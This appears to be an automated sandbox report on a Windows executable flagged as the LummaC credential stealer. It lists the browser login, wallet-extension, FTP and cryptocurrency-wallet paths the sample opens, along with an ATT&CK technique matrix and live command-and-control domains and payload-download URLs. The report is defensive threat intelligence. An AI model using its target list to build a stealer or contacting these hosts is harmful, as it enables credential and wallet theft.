Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2229452164.00000000013DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6508, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: file.exe PID: 6508, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	41 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	34 Virtualization/Sandbox Evasion	LSASS Memory	741 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://cook-rain.sbs/J	100%	Avira URL Cloud	malware
https://cook-rain.sbs/IzI	100%	Avira URL Cloud	malware
https://cook-rain.sbs/I	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exepleWebKit/537.36	100%	Avira URL Cloud	phishing
https://cook-rain.sbs/-	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cook-rain.sbs	188.114.97.3	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.185.132	true	false	high
s-part-0039.t-0009.t-msedge.net	13.107.246.67	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
peepburry828.sbs	false	high
p10tgrace.sbs	false	high
processhol.sbs	false	high
https://cook-rain.sbs/api	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
p3ar11fter.sbs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_129.5.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2157488514.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/J	file.exe, 00000000.00000003.2297580610.0000000005C68000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2157488514.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/I	file.exe, 00000000.00000003.2195655930.0000000005C66000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2219713527.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_129.5.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000003.2219713527.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2157488514.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_129.5.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_121.5.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_129.5.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_129.5.dr	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2196706954.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2196706954.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_129.5.dr, chromecache_130.5.dr, chromecache_94.5.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2157488514.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://github.com/gewarren	chromecache_129.5.dr	false		high
http://185.215.113.16/off/def.exepleWebKit/537.36	file.exe, 00000000.00000002.2482423507.000000000116A000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2198028408.0000000005EFB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_129.5.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_129.5.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2157488514.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_129.5.dr	false		high
https://cook-rain.sbs/IzI	file.exe, 00000000.00000003.2396673125.0000000001403000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://polymer.github.io/PATENTS.txt	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://aka.ms/certhelp	chromecache_110.5.dr, chromecache_121.5.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000002.2482631199.0000000001379000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/	file.exe, file.exe, 00000000.00000003.2297580610.0000000005C68000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2243511948.00000000013EF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2219663138.0000000005C66000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2229865622.00000000013EF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2153923191.00000000013DB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2229541366.00000000013EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2243172815.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2243353006.0000000005C68000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2229452164.00000000013DB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2153962101.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2157488514.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2196706954.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_129.5.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2196706954.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_121.5.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2157488514.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000003.2219713527.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2198028408.0000000005EFB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exe3	file.exe, 00000000.00000002.2482631199.0000000001379000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_129.5.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2157488514.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_129.5.dr	false		high
https://cook-rain.sbs/-	file.exe, 00000000.00000003.2243353006.0000000005C68000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000003.2219713527.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/adegeo	chromecache_129.5.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2219713527.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_110.5.dr, chromecache_121.5.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2196706954.0000000005BEE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000003.2219713527.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000003.2219713527.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000002.2482631199.0000000001379000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2396776433.00000000013BE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_129.5.dr	false		high
https://channel9.msdn.com/	chromecache_110.5.dr, chromecache_121.5.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2157488514.0000000005C08000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_110.5.dr, chromecache_121.5.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.67	s-part-0039.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.185.132	www.google.com	United States	15169	GOOGLEUS	false
188.114.97.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557976
Start date and time:	2024-11-18 20:20:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/71@9/7
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 184.28.89.167, 216.58.212.131, 216.58.206.78, 66.102.1.84, 88.221.170.101, 34.104.35.123, 52.168.117.169, 142.250.184.234, 142.250.186.170, 172.217.23.106, 142.250.181.234, 216.58.212.138, 142.250.185.74, 142.250.186.138, 172.217.16.202, 142.250.185.138, 216.58.206.74, 172.217.18.10, 142.250.185.106, 142.250.186.106, 142.250.184.202, 216.58.206.42, 142.250.186.42, 2.19.126.137, 2.19.126.132, 13.74.129.1, 13.89.179.8, 204.79.197.237, 13.107.21.237, 142.250.185.227, 142.250.186.174
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, onedscolprdeus10.eastus.cloudapp.azure.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, www.bing.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, onedscolprdcus06.centralus.cloudapp.azure.com, dual-a-0
Execution Graph export aborted for target file.exe, PID 6508 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
14:21:10	API Interceptor	47x Sleep call for process: file.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
13.107.246.67	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
185.215.113.16	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cook-rain.sbs	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
s-part-0017.t-0009.t-msedge.net	Portfolio Review _2024.html	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.45
	ADZP 20 Complex.exe	Get hash	malicious	Babadeda, Wiper	Browse	13.107.246.45
	P.O 423737.exe	Get hash	malicious	MassLogger RAT	Browse	13.107.246.45
	FoxitCrack-97.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	gP5rh6fa0S.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	Fattura (6).vbs	Get hash	malicious	Unknown	Browse	13.107.246.45
s-part-0039.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.67

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	Portfolio Review _2024.html	Get hash	malicious	Unknown	Browse	40.126.32.138
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	mips.elf	Get hash	malicious	Mirai	Browse	20.232.217.209
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	20.189.173.25
	NoteID [4962398] _Secure_Document_Mrettinger-46568.docx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
